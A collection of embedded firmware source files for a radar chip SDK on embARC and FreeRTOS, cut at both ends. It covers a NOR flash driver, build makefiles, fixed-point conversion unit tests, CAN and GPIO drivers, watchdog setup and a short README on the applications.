cmult_conj_cum(&b, &b, &innerProd_b_b);
OPTION_PRINT("\n b_b.r = %5.4f, b_b.i = %5.4f, ", innerProd_b_b.r, innerProd_b_b.i);
}
return ( mag_sqr(&innerProd_a_b) / sqrt( mag_sqr(&innerProd_a_a) * mag_sqr(&innerProd_b_b) ) );
}
#endif /* VEL_DEAMB_MF_EN */
<file_sep>#include "embARC.h"
#include "embARC_debug.h"
//#include "dw_qspi.h"
#include "dw_ssi.h"
#include "device.h"
#include "xip_hal.h"
#include "instruction.h"
#include "sfdp.h"
/* us. */
#define SUSPEND_LATENCY_MAX (40)
static int32_t mxic_param_read(dw_ssi_t *dw_ssi);
static int32_t mxic_quad_entry(dw_ssi_t *dw_ssi);
static int32_t mxic_quad_exit(dw_ssi_t *dw_ssi);
static int32_t mxic_qpi_entry(dw_ssi_t *dw_ssi);
static int32_t mxic_qpi_exit(dw_ssi_t *dw_ssi);
static int32_t mxic_status_read(dw_ssi_t *dw_ssi, uint32_t status);
static flash_dev_ops_t mxic_ops = {
.quad_entry = mxic_quad_entry,
.quad_exit = mxic_quad_exit,
.qpi_entry = mxic_qpi_entry,
.qpi_exit = mxic_qpi_exit,
.status = mxic_status_read
};
#ifdef STATIC_EXT_FLASH_PARAM
static flash_device_t mxic_dev = {
.total_size = 128000000 >> 3,
.page_size = 256,
.m_region = {
DEF_FLASH_REGION(0x0, 0x10000, 0x10000, 0x20),
DEF_FLASH_REGION(0x10000, 0x10000, 0x1000, 0xd8)
},
//.m_region_cnt = sizeof(flash_m_region)/sizeof(flash_region_t),
.ext_dev_ops = &mxic_ops
};
#else
static flash_device_t mxic_dev;
#endif
/* description: called during boot. */
flash_device_t *get_flash_device(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
static uint32_t ext_dev_open_flag = 0;
flash_device_t *ext_dev = NULL;
#ifdef STATIC_EXT_FLASH_PARAM
ext_dev = &mxic_dev;
#else
if (0 == ext_dev_open_flag) {
result = mxic_param_read(dw_ssi);
if (E_OK == result) {
ext_dev = &mxic_dev;
ext_dev->ops = &mxic_ops;
}
} else {
ext_dev = &mxic_dev;
}
#endif
return ext_dev;
}
static int32_t mxic_param_read(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops)) {
result = E_PAR;
} else {
result = flash_sfdp_detect(dw_ssi);
if (result > 0) {
result = flash_sfdp_param_read(dw_ssi, \
&mxic_dev);
} else {
if (E_OK == result) {
result = E_NOEXS;
}
}
}
return result;
}
static int32_t mxic_quad_entry(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
return result;
}
static int32_t mxic_quad_exit(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
return result;
}
static int32_t mxic_qpi_entry(dw_ssi_t *dw_ssi)
{
return E_NOEXS;
}
static int32_t mxic_qpi_exit(dw_ssi_t *dw_ssi)
{
return E_NOEXS;
}
static int32_t mxic_status_read(dw_ssi_t *dw_ssi, uint32_t status)
{
int32_t result = E_OK;
uint8_t dev_status = 0;
uint8_t sts_pos = 0;
dw_ssi_ops_t *ssi_ops = NULL;
dw_ssi_xfer_t xfer = DW_SSI_XFER_INIT(CMD_READ_RSTS1, 0, 0, 0);
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops)) {
result = E_PAR;
} else {
ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
xfer.buf = (void *)&dev_status;
xfer.len = 1;
switch (status) {
case FLASH_WIP:
case FLASH_WEL:
case FLASH_BP:
case FLASH_E_ERR:
case FLASH_P_ERR:
case FLASH_STSR_WD:
xfer.ins = CMD_READ_RSTS1;
sts_pos = 1 << status;
break;
case FLASH_P_SUSPEND:
case FLASH_E_SUSPEND:
xfer.ins = CMD_READ_RSTS2;
sts_pos = 1 << (status - 8);
break;
default:
result = E_PAR;
}
if (E_OK == result) {
result = ssi_ops->read(dw_ssi, &xfer, 0);
if (E_OK == result) {
if (sts_pos & dev_status) {
result = 1;
}
}
}
}
return result;
}
#if 0
int32_t mxic_status_read_test(dw_ssi_t *dw_ssi)
{
int32_t result = E_OK;
uint8_t dev_status[4] = {0xa5, 0xa5, 0xa5, 0xa5};
dw_ssi_xfer_t xfer = DW_SSI_XFER_INIT(CMD_READ_RSTS1, 0, 0, 0);
dw_ssi_ops_t *ssi_ops = NULL;
if ((NULL == dw_ssi) || (NULL == dw_ssi->ops)) {
result = E_PAR;
} else {
ssi_ops = (dw_ssi_ops_t *)dw_ssi->ops;
xfer.buf = (void *)&dev_status;
xfer.len = 2;
result = ssi_ops->readb(dw_ssi, &xfer);
if (E_OK == result) {
EMBARC_PRINTF("fls_dev_sts: 0x%x, 0x%x, 0x%x, 0x%x\r\n", \
dev_status[0],\
dev_status[1],\
dev_status[2],\
dev_status[3]\
);
}
}
return result;
}
#endif
static xip_param_t xip_info = {
.rd_sts_cmd = FLASH_COMMAND(CMD_READ_RSTS1, \
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_0, DW_SSI_DATA_LEN_8),
.rd_cmd = FLASH_COMMAND(CMD_Q_READ, \
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_24, DW_SSI_DATA_LEN_32),
.wr_en_cmd = FLASH_COMMAND(CMD_WRITE_ENABLE, \
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_0, DW_SSI_DATA_LEN_8),
.program_cmd = FLASH_COMMAND(CMD_PAGE_PROG, \
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_24, DW_SSI_DATA_LEN_32),
.suspend_cmd = FLASH_COMMAND(CMD_PGSP, \
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_0, DW_SSI_DATA_LEN_8),
.resume_cmd = FLASH_COMMAND(CMD_PGRS, \
DW_SSI_INS_LEN_8, DW_SSI_ADDR_LEN_0, DW_SSI_DATA_LEN_8),
.wip_pos = (1 << 0),
.xsb = (1 << 8) | (2 << 16),
.suspend_wait = 0x1ff
};
xip_param_t *flash_xip_param_get(void)
{
uint32_t freq = clock_frequency(XIP_CLOCK);
xip_info.suspend_wait = 40 * (freq / 1000000);
return &xip_info;
}
<file_sep># Application name
APPL ?= sensor
# root dir of calterah
CALTERAH_ROOT ?= ../../
# Selected OS
OS_SEL ?= freertos
USE_BOARD_MAIN ?= 0
# root dir of embARC
EMBARC_ROOT ?= ../../../embarc_osp
CUR_CORE ?= arcem6
MID_SEL ?= common
BD_VER ?= 1
CHIP_CASCADE ?=
# application source dirs
APPL_CSRC_DIR += $(APPLS_ROOT)/$(APPL)
APPL_ASMSRC_DIR += $(APPLS_ROOT)/$(APPL)
ifeq ($(TOOLCHAIN), gnu)
APPL_LIBS += -lm # math support
else
endif
SYSTEM_BOOT_STAGE ?= 2
FLASH_TYPE ?= s25fls
EXT_DEV_LIST ?= nor_flash
# To enable XIP function, "LOAD_XIP_TEXT_EN" in options/option.mk also need to be set to 1
FLASH_XIP ?= 0
UART_OTA ?= 1
SYSTEM_WATCHDOG ?=
SPIS_SERVER_ON ?=
ifeq ($(FLASH_XIP), 1)
FLASH_STATIC_PARAM ?= 1
else
FLASH_STATIC_PARAM ?=
endif
#if PLL clock hasn't been opened before firmware, please set to a 1.
#it will indicate whether open PLL clock. and if PLL clock has been
#opened before, please set to a 0.
PLL_CLOCK_OPEN ?= 0
# application include dirs
APPL_INC_DIR += $(APPLS_ROOT)/$(APPL)
# include current project makefile
COMMON_COMPILE_PREREQUISITES += $(APPLS_ROOT)/$(APPL)/$(APPL).mk
### Options above must be added before include options.mk ###
# include key embARC build system makefile
override EMBARC_ROOT := $(strip $(subst \,/,$(EMBARC_ROOT)))
override CALTERAH_ROOT := $(strip $(subst \,/,$(CALTERAH_ROOT)))
include $(EMBARC_ROOT)/options/options.mk
EXTRA_DEFINES += -DACC_BB_BOOTUP=$(ACC_BB_BOOTUP)<file_sep>#include "CuTest.h"
#include "calterah_data_conversion.h"
void test_fx_to_float(CuTest *tc)
{
uint32_t input = 0x399;
float actual = fx_to_float(input, 10, 1, false);
float expected = 1.798828;
float df = 1e-6;
CuAssertDblEquals(tc, expected, actual, df);
actual = fx_to_float(0x199, 10, 1, true);
expected = 0.798828;
CuAssertDblEquals(tc, expected, actual, df);
actual = fx_to_float(0x19a, 10, -1, true);
expected = 0.200195;
CuAssertDblEquals(tc, expected, actual, df);
}
void test_fl_to_float(CuTest *tc)
{
uint32_t input = 0x19990;
float actual = fl_to_float(input, 14, 1, true, 4, false);
float expected = 0.799927;
float df = 1e-6;
CuAssertDblEquals(tc, expected, actual, df);
actual = fl_to_float(0x1a368, 14, -1, true, 4, false);
expected = 0.000799894;
df = 1e-9;
CuAssertDblEquals(tc, expected, actual, df);
}
void test_cfx_to_complex(CuTest *tc)
{
uint32_t input = 0xc0100;
float df = 1e-6;
complex_t actual = cfx_to_complex(input, 10, 1, false);
complex_t expected;
expected.r = 1.5;
expected.i = 0.5;
CuAssertDblEquals(tc, expected.r, actual.r, df);
CuAssertDblEquals(tc, expected.i, actual.i, df);
input = 0x668cd;
actual = cfx_to_complex(input, 10, -1, true);
df = 1e-9;
expected.r = 0.2001953125;
expected.i = 0.10009765625;
CuAssertDblEquals(tc, expected.r, actual.r, df);
CuAssertDblEquals(tc, expected.i, actual.i, df);
}
void test_cfl_to_complex(CuTest *tc)
{
uint32_t input = 0x2000c007;
float df = 1e-6;
complex_t actual = cfl_to_complex(input, 14, 2, true, 3, true);
complex_t expected;
expected.r = 0.5;
expected.i = 0.75;
CuAssertDblEquals(tc, expected.r, actual.r, df);
CuAssertDblEquals(tc, expected.i, actual.i, df);
input = 0x10006000;
actual = cfl_to_complex(input, 14, 2, true, 3, false);
expected.r = 0.5;
expected.i = 0.75;
CuAssertDblEquals(tc, expected.r, actual.r, df);
CuAssertDblEquals(tc, expected.i, actual.i, df);
}
void test_float_to_fx(CuTest *tc)
{
float input = -1.0f;
uint32_t d;
d = float_to_fx(input, 14, 1, true);
CuAssertIntEquals(tc, 0x2000, d);
}
void test_complex_to_cfx(CuTest *tc)
{
complex_t input = {-1.000000000000000, -0.000000087422777};
uint32_t d;
d = complex_to_cfx(&input, 14, 1, true);
CuAssertIntEquals(tc, 0x8000000, d);
}
CuSuite* math_conversion_get_suite() {
CuSuite* suite = CuSuiteNew();
SUITE_ADD_TEST(suite, test_fx_to_float);
SUITE_ADD_TEST(suite, test_fl_to_float);
SUITE_ADD_TEST(suite, test_cfx_to_complex);
SUITE_ADD_TEST(suite, test_cfl_to_complex);
SUITE_ADD_TEST(suite, test_float_to_fx);
SUITE_ADD_TEST(suite, test_complex_to_cfx);
return suite;
}
<file_sep>#include "calterah_math_funcs.h"
#include "math.h"
void normalize(float *in, int len, int method)
{
/* method : 0 - no normalization */
/* : 1 - normalized to max */
/* : 2 - normalized to sum */
/* : 3 - normalized to power */
float sum = 0;
float sum_sq = 0;
float max = in[0];
int i;
for(i = 0; i < len; i++) {
sum += in[i];
sum_sq += in[i] * in[i];
if (max < in[i])
max = in[i];
}
float normer;
switch (method) {
case 0:
normer = 1.0f;
break;
case 1:
normer = max;
break;
case 2:
normer = sum;
break;
case 3:
normer = sqrt(sum_sq / len);
break;
default:
normer = 1.0f;
}
for(i = 0; i < len; i++)
in[i] /= normer;
}
float get_power(float *in, int len)
{
float sum_sq = 0;
int i;
for(i = 0; i < len; i++)
sum_sq += in[i] * in[i];
return sum_sq / len;
}
/* recursive implementation. It is not heavily used so it is OK */
uint32_t compute_gcd(uint32_t a, uint32_t b)
{
if(a < b) {
return compute_gcd(b, a);
}
if(a % b == 0) {
return b;
}
return compute_gcd(b, a % b);
}
<file_sep>#ifndef _CAN_HAL_H_
#define _CAN_HAL_H_
#include "dev_common.h"
#include "can.h"
/* Possible Values: 8, 12, 16, 20, 24, 32, 48, 64. In Bytes.*/
#if (USE_CAN_FD == 1)
#define CAN_FRAM_BUF_DATA_SIZE (16)
#else
#define CAN_FRAM_BUF_DATA_SIZE (8)
#endif
typedef struct {
uint32_t msg_id; /* message identifier */
eCAN_FRAME_FORMAT eframe_format; /* frame format: 0 is standard frame, 1 is extended frame */
eCAN_FRAME_TYPE eframe_type; /* frame type: 0 is data frame, 1 is remote frame */
uint32_t len; /* Length of Message Data Field , in Bytes. */
} can_frame_params_t;
typedef struct can_data_message {
can_frame_params_t *frame_params;
uint8_t data[CAN_FRAM_BUF_DATA_SIZE];
uint32_t lock;
} can_data_message_t;
typedef enum{
eDATA_LEN_8 = 8,
eDATA_LEN_12 = 12,
eDATA_LEN_16 = 16,
eDATA_LEN_20 = 20,
eDATA_LEN_24 = 24,
eDATA_LEN_32 = 32,
eDATA_LEN_48 = 48,
eDATA_LEN_64 = 64
} eCAN_DATA_LEN;
typedef enum{
eDATA_DLC_8 = 8,
eDATA_DLC_9,
eDATA_DLC_10,
eDATA_DLC_11,
eDATA_DLC_12,
eDATA_DLC_13,
eDATA_DLC_14,
eDATA_DLC_15
} eCAN_DLC;
#ifdef OS_FREERTOS
#define CAN_ISR_QUEUE_LENGTH 64
#endif
typedef void (*rx_indication_callback)(uint32_t msg_id, uint32_t ide, uint32_t *data, uint32_t len);
int32_t can_init(uint32_t id, uint32_t nomi_baud, uint32_t data_baud);
int32_t can_config(uint32_t id, void *param);
int32_t can_read(uint32_t id, uint32_t *buf, uint32_t len);
int32_t can_write(uint32_t id, uint32_t *buf, uint32_t len, uint32_t flag);
int32_t can_interrupt_enable(uint32_t id, uint32_t type, uint32_t enable);
int32_t can_xfer_callback_install(uint32_t id, void (*func)(void *));
#ifdef OS_FREERTOS
int32_t can_queue_install(uint32_t id, QueueHandle_t queue, uint32_t rx_or_tx);
#endif
void *can_xfer_buffer(uint32_t id, uint32_t rx_or_tx);
int32_t can_indication_register(uint32_t dev_id, rx_indication_callback func);
int32_t can_receive_data(uint32_t dev_id, can_data_message_t *msg);
void can_send_data(uint32_t bus_id, uint32_t frame_id, uint32_t *data, uint32_t len);
static inline int32_t can_get_dlc(uint32_t len);
static inline uint32_t can_get_datalen(uint32_t dlc);
/*************************Function Begin*************************
* Function Name: swap_hlbyte
*
* Description: Firstly, the uint32_t data will be exchanged high and low byte,
* then it will be stored as uint8_t data.
*
* Inputs: Parameter 1 is a pointer to the data type uint32_t
* Parameter 3 is the number of data in parameter 1
* That is how many uint32_t data needs to be stored as uint8_t data.
* Outputs: Parameter 2 is a pointer to the data type uint8_t
*
*************************Function End***************************/
static inline void swap_hlbyte(uint32_t *data, uint8_t *msg_data, uint32_t len)
{
int32_t i = 0, j = 0, n = (len / 4);
int32_t temp = 0;
for (i = 0; i < n / 2; i++)
{
temp = data[i];
data[i] = data[n - i - 1];
data[n - i - 1] = temp;
}
while (n--) {
for (i = 3; i >= 0; i--) {
msg_data[j] = (uint8_t)(*data >> (i << 3));
j++;
}
data++;
}
}
/*************************Function Begin*************************
* Function Name: transfer_bytes_stream
*
* Description: The uint32_t data will be stored as uint8_t data.
*
* Inputs: Parameter 1 is a pointer to the data type uint32_t
* Parameter 3 is the number of data in parameter 2
* That is how many uint32_t data needs to be stored as uint8_t data.
* Outputs: Parameter 2 is a pointer to the data type uint8_t
*
*************************Function End***************************/
static inline void transfer_bytes_stream(uint32_t *src, uint8_t *dst, uint32_t len)
{
int32_t i = 0, j = 0, n = (len / sizeof(uint32_t));
while (n--) {
for (i = 0; i < sizeof(uint32_t); i++) {
dst[j] = (uint8_t)(*src >> (i << 3));
j++;
}
src++;
}
}
/*************************Function Begin*************************
* Function Name: transfer_word_stream
*
* Description: The uint8_t data will be stored as uint32_t data.
*
* Inputs: Parameter 1 is a pointer to the data type uint8_t
* Parameter 3 is the number of data in parameter 1
* That is how many uint8_t data needs to be stored as uint32_t data.
* Outputs: Parameter 2 is a pointer to the data type uint32_t
*
*************************Function End***************************/
static inline void transfer_word_stream(uint8_t *src, uint32_t *dst, uint32_t len)
{
int32_t i = 0, n = (len / sizeof(uint32_t));
while (n--) {
*dst = 0;
for (i = 0; i < sizeof(uint32_t); i++) {
*dst |= (uint32_t)(*src++ << (i << 3));
}
dst++;
}
}
#endif
<file_sep>#include "arc.h"
#include "arc_builtin.h"
#include "arc_wdg.h"
void arc_wdg_init(wdg_event_t event, uint32_t period)
{
_arc_aux_write(AUX_WDG_PASSWD, AUX_WDG_PERIOD_WEN_MASK);
_arc_aux_write(AUX_WDG_PERIOD, period);
_arc_aux_write(AUX_WDG_PASSWD, AUX_WDG_CTRL_WEN_MASK);
_arc_aux_write(AUX_WDG_CTRL, ((event & 0x3) << 1) | AUX_WDG_ENABLE);
_arc_aux_write(AUX_WDG_PASSWD, AUX_WDG_WR_DIS_MASK);
}
void arc_wdg_deinit(void)
{
_arc_aux_write(AUX_WDG_PASSWD, AUX_WDG_CTRL_WEN_MASK);
_arc_aux_write(AUX_WDG_CTRL, AUX_WDG_DISABLE);
}
void arc_wdg_update(uint32_t period)
{
if (_arc_aux_read(AUX_WDG_PASSWD) == AUX_WDG_PERIOD_AUTO_WEN_MASK) {
_arc_aux_write(AUX_WDG_PERIOD, period);
} else {
_arc_aux_write(AUX_WDG_PASSWD, AUX_WDG_PERIOD_WEN_MASK);
_arc_aux_write(AUX_WDG_PERIOD, period);
_arc_aux_write(AUX_WDG_PASSWD, AUX_WDG_WR_DIS_MASK);
}
}
void arc_wdg_status_clear(void)
{
uint32_t val = _arc_aux_read(AUX_WDG_CTRL);
val &= ~(1 << 3);
_arc_aux_write(AUX_WDG_CTRL, val);
}
uint32_t arc_wdg_count(void)
{
return _arc_aux_read(AUX_WDG_COUNT);
}
<file_sep>#ifndef RADIO_REG_H
#define RADIO_REG_H
#if defined(CHIP_ALPS_A)
#include "alps_a_radio_reg.h"
#else //CHIP_ALPS_MP
#include "alps_mp_radio_reg.h"
#endif
#endif
<file_sep>#ifndef FMCW_RADIO_CLI_H
#define FMCW_RADIO_CLI_H
void fmcw_radio_cli_commands( void );
#endif
<file_sep>#ifndef CALTERAH_STEERING_VECTOR_H
#define CALTERAH_STEERING_VECTOR_H
#include "calterah_math.h"
typedef struct antenna_pos {
float x;
float y;
} antenna_pos_t;
void gen_steering_vec(complex_t *vec,
const float *win,
const antenna_pos_t *ant_pos,
const float *ant_comps,
const uint8_t size,
const float pm1, /* theta */
const float pm2, /* phi */
const char space,
const bool bpm);
void gen_steering_vec2(complex_t *vec,
const float *win,
const antenna_pos_t *ant_pos,
const float *ant_comps,
const uint8_t size,
const float pm1, /* theta */
const float pm2, /* phi */
const char space,
const bool bpm,
const bool phase_comp,
const uint8_t ant_idx[]);
void arrange_doa_win(const antenna_pos_t *ant_pos,
const uint8_t *ant_idx,
const uint8_t sv_size,
float *win,
uint8_t doa_dir);
#endif
<file_sep>#include "stdio.h"
#include "CuTest.h"
extern CuSuite* math_conversion_get_suite();
extern CuSuite* fmcw_radio_get_suite();
extern CuSuite* radar_sys_params_get_suite();
extern CuSuite* fft_window_get_suite();
extern CuSuite* steering_vector_get_suite();
void RunAllTests(void) {
CuString *output = CuStringNew();
CuSuite* suite = CuSuiteNew();
CuSuiteAddSuite(suite, math_conversion_get_suite());
CuSuiteAddSuite(suite, fmcw_radio_get_suite());
CuSuiteAddSuite(suite, radar_sys_params_get_suite());
CuSuiteAddSuite(suite, fft_window_get_suite());
CuSuiteAddSuite(suite, steering_vector_get_suite());
CuSuiteRun(suite);
CuSuiteSummary(suite, output);
CuSuiteDetails(suite, output);
printf("%s\n", output->buffer);
}
int main(void) {
RunAllTests();
}
<file_sep>#ifndef BASEBAND_CLI_H
#define BASEBAND_CLI_H
void baseband_cli_commands( void );
bool baseband_stream_on_dmp_mid();
bool baseband_stream_on_dmp_fnl();
bool baseband_stream_on_fft1d();
bool baseband_scan_stop_req();
bool baseband_stream_off_req();
//avoid DC interference and elevate precision
#define RNG_START_SEARCH_IDX (4)
#define MAX_VALUE_SEARCH_RANGE_LEN (16)
#endif
<file_sep>#include "embARC.h"
#include "embARC_debug.h"
#include "embARC_assert.h"
#include "arc_wdg.h"
static void watchdog_isr(void *params)
{
/* TODO: customer in future! */
while (1);
}
void watchdog_init(void)
{
int_disable(INT_WDG_TIMEOUT);
int_handler_install(INT_WDG_TIMEOUT, watchdog_isr);
arc_wdg_init(WDG_EVENT_INT, 0x100000);
int_enable(INT_WDG_TIMEOUT);
}
<file_sep>#ifndef _TIMER_HAL_H_
#define _TIMER_HAL_H_
int32_t dw_timer_init(void);
int32_t dw_timer_start(uint32_t id, uint32_t expire, void (*func)(void *param));
int32_t dw_timer_stop(uint32_t id);
int32_t dw_timer_stop_fromisr(uint32_t id);
#endif
<file_sep>#include "embARC.h"
#include "can_hal.h"
//#define __udstext __attribute__ ((section(".uds_text")))
//void can_ota_main(void) __udstext;
void can_ota_main(void)
{
volatile uint32_t test;
for (test = 0; test < 10000; test++) {
;
}
}
<file_sep>
VENDOR_ROOT = $(EMBARC_ROOT)/device/peripheral/nor_flash/vendor
SUPPORTED_FLASH_TYPE = $(basename $(notdir $(wildcard $(VENDOR_ROOT)/*/*.c)))
VALID_FLASH_TYPE = $(call check_item_exist, $(FLASH_TYPE), $(SUPPORTED_FLASH_TYPE))
ifeq ($(VALID_FLASH_TYPE), )
$(info FLASH - $(SUPPORTED_FLASH_TYPE) are supported)
$(error FLASH $(FLASH_TYPE) is not supported, please check it!)
endif
#EXTRA_CSRCS += $(VENDOR_ROOT)/$(VALID_FLASH_TYPE).c
DEV_CSRCDIR += $(EMBARC_ROOT)/device/peripheral/nor_flash $(VENDOR_ROOT)/$(VALID_FLASH_TYPE)
DEV_INCDIR += $(EMBARC_ROOT)/device/peripheral/nor_flash
DEV_INCDIR += $(EMBARC_ROOT)/device/peripheral/nor_flash/vendor
DEV_INCDIR += $(EMBARC_ROOT)/device/peripheral/nor_flash/vendor/$(VALID_FLASH_TYPE)
<file_sep>/* ------------------------------------------
* Copyright (c) 2017, Synopsys, Inc. All rights reserved.
* Redistribution and use in source and binary forms, with or without modification,
* are permitted provided that the following conditions are met:
* 1) Redistributions of source code must retain the above copyright notice, this
* list of conditions and the following disclaimer.
* 2) Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation and/or
* other materials provided with the distribution.
* 3) Neither the name of the Synopsys, Inc., nor the names of its contributors may
* be used to endorse or promote products derived from this software without
* specific prior written permission.
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
* LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON
* ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*
--------------------------------------------- */
/**
*
* \file
* \ingroup CHIP_ALPS_COMMON_INIT
* \brief alps hardware resource definitions
*/
/**
* \addtogroup BOARD_ALPS_COMMON_INIT
* @{
*/
#ifndef _ALPS_HARDWARE_H_
#define _ALPS_HARDWARE_H_
#include "arc_feature_config.h"
static inline uint32_t chip_clock_early(void)
{
#ifdef PLAT_ENV_FPGA
return (10000000U);
#else
/* pls get by clock tree API. */
return (0);
#endif
}
static inline uint32_t chip_peri_clock_early(void)
{
#ifdef PLAT_ENV_FPGA
return (10000000U);
#else
/* pls get by clock tree API. */
return 0;
#endif
}
#define ARC_FEATURE_DMP_PERIPHERAL (0x00000000U)
/* Device Register Base Address */
#include "alps_mmap.h"
/* Interrupt Connection */
#include "alps_interrupt.h"
#endif /* _ALPS_HARDWARE_H_ */
/** @} end of group BOARD_ALPS_COMMON_INIT */
<file_sep>#ifndef _SW_TRACE_H_
#define _SW_TRACE_H_
#ifdef USE_SW_TRACE
void trace_info(uint32_t value);
#else
static inline void trace_info(uint32_t value)
{
}
#endif
#endif
<file_sep>#include "embARC_toolchain.h"
#include "alps/alps.h"
#include "can.h"
#include "embARC_error.h"
#include "embARC.h"
#include "embARC_debug.h"
static can_t can_r2p0_0 = {
.base = REL_REGBASE_CAN0,
.int_line = {INTNO_CAN0_0, INTNO_CAN0_1, INTNO_CAN0_2, INTNO_CAN0_3},
};
static can_t can_r2p0_1 = {
.base = REL_REGBASE_CAN1,
.int_line = {INTNO_CAN1_0, INTNO_CAN1_1, INTNO_CAN1_2, INTNO_CAN1_3},
};
static void can_resource_install(void)
{
can_install_ops(&can_r2p0_0);
can_install_ops(&can_r2p0_1);
}
void *can_get_dev(uint32_t id)
{
static uint32_t can_install_flag = 0;
void *return_ptr;
if (0 == can_install_flag) {
can_resource_install();
can_install_flag = 1;
}
switch (id) {
case 0:
return_ptr = (void *)&can_r2p0_0;
break;
case 1:
return_ptr = (void *)&can_r2p0_1;
break;
default:
return_ptr = NULL;
}
return return_ptr;
}
<file_sep>#include "embARC.h"
#include "embARC_debug.h"
#include "embARC_assert.h"
#include "baseband_cli.h"
#include "tick.h"
#include "dw_gpio.h"
#include "gpio_hal.h"
#include "alps_dmu_reg.h"
static void switch_led(uint32_t status)
{
int32_t ret = E_OK;
if (CHK_DMU_MODE == 1) {
if (io_get_dmumode() < 0)
return;
}
ret = gpio_set_direct(LED_D2, DW_GPIO_DIR_OUTPUT);
if (ret != 0) {
EMBARC_PRINTF("Dir gpio(%d) error! ret %d \n", LED_D2, ret);
}
ret = gpio_write(LED_D2, status);
if (ret != 0) {
EMBARC_PRINTF("write gpio(%d) error! ret %d \n", LED_D2, ret);
}
}
void vApplicationTickHook( void )
{
static uint32_t tick = 0;
static uint8_t pv = 0;
tick++;
if ((tick * portTICK_PERIOD_MS) > LED_FLICKER_MS) {
if (pv == 0) {
switch_led(LED_OFF);
pv = 1;
} else {
switch_led(LED_ON);
pv = 0;
}
tick = 0;
}
}
<file_sep># Applications on FreeRTOS
Each application (APP) has its own subdirectory. Currently, only a general APP (sensor) is included. One special ``common`` subdirectory includes modules can be used in all APPs here.
## ``common``
List of modules:
1. CLI
- It received Calterah specific command from UART and output command results if necessary.
2. DataStream
- It re-direct data output to UART/CAN. The data output format could be binary or text. It mainly used for sensing results output.
<file_sep>#include <string.h>
#include "embARC_toolchain.h"
#include "embARC_error.h"
#include "embARC_debug.h"
#include "arc_exception.h"
#include "dw_gpio_reg.h"
#include "dw_gpio.h"
#define DW_GPIO_PORT_NUM (2)
#define DW_GPIO_PORT_WIDTH (16)
static int32_t dw_gpio_write(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t level)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t val = 0;
uint32_t reg_addr = dw_gpio->base;
uint32_t reg_addr1 = reg_addr;
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
switch (port_id) {
case DW_GPIO_PORT_A:
reg_addr += REG_DW_GPIO_SWPORTA_DR_OFFSET;
reg_addr1 += REG_DW_GPIO_SWPORTA_DDR_OFFSET;
break;
case DW_GPIO_PORT_B:
reg_addr += REG_DW_GPIO_SWPORTB_DR_OFFSET;
reg_addr1 += REG_DW_GPIO_SWPORTB_DDR_OFFSET;
break;
case DW_GPIO_PORT_C:
case DW_GPIO_PORT_D:
default:
result = E_PAR;
}
if (0 == (raw_readl(reg_addr1) & (1 << signal_id))) {
result = E_SYS;
}
if (E_OK == result) {
val = raw_readl(reg_addr);
if (level) {
val |= (1 << signal_id);
} else {
val &= ~(1 << signal_id);
}
raw_writel(reg_addr, val);
}
}
return result;
}
static int32_t dw_gpio_direct(dw_gpio_t *dw_gpio, uint32_t gpio_id, uint32_t direct)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t val = 0;
uint32_t reg_addr = dw_gpio->base;
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
switch (port_id) {
case DW_GPIO_PORT_A:
reg_addr += REG_DW_GPIO_SWPORTA_DDR_OFFSET;
break;
case DW_GPIO_PORT_B:
reg_addr += REG_DW_GPIO_SWPORTB_DDR_OFFSET;
break;
case DW_GPIO_PORT_C:
case DW_GPIO_PORT_D:
default:
result = E_PAR;
}
if (E_OK == result) {
val = raw_readl(reg_addr);
if (DW_GPIO_DIR_OUTPUT == direct) {
val |= (1 << signal_id);
} else {
val &= ~(1 << signal_id);
}
raw_writel(reg_addr, val);
}
}
return result;
}
static int32_t dw_gpio_get_direct(dw_gpio_t *dw_gpio, uint32_t gpio_id)
{
int32_t result = E_OK;
if ((NULL == dw_gpio)) {
result = E_PAR;
} else {
uint32_t reg_addr = dw_gpio->base;
uint32_t port_id = gpio_id / DW_GPIO_PORT_WIDTH;
uint32_t signal_id = gpio_id % DW_GPIO_PORT_WIDTH;
switch (port_id) {
case DW_GPIO_PORT_A:
reg_addr += REG_DW_GPIO_SWPORTA_DDR_OFFSET;
break;
case DW_GPIO_PORT_B:
reg_addr += REG_DW_GPIO_SWPORTB_DDR_OFFSET;
break;
case DW_GPIO_PORT_C:
case DW_GPIO_PORT_D:
default:
result = E_PAR;
}
if (E_OK == result) {
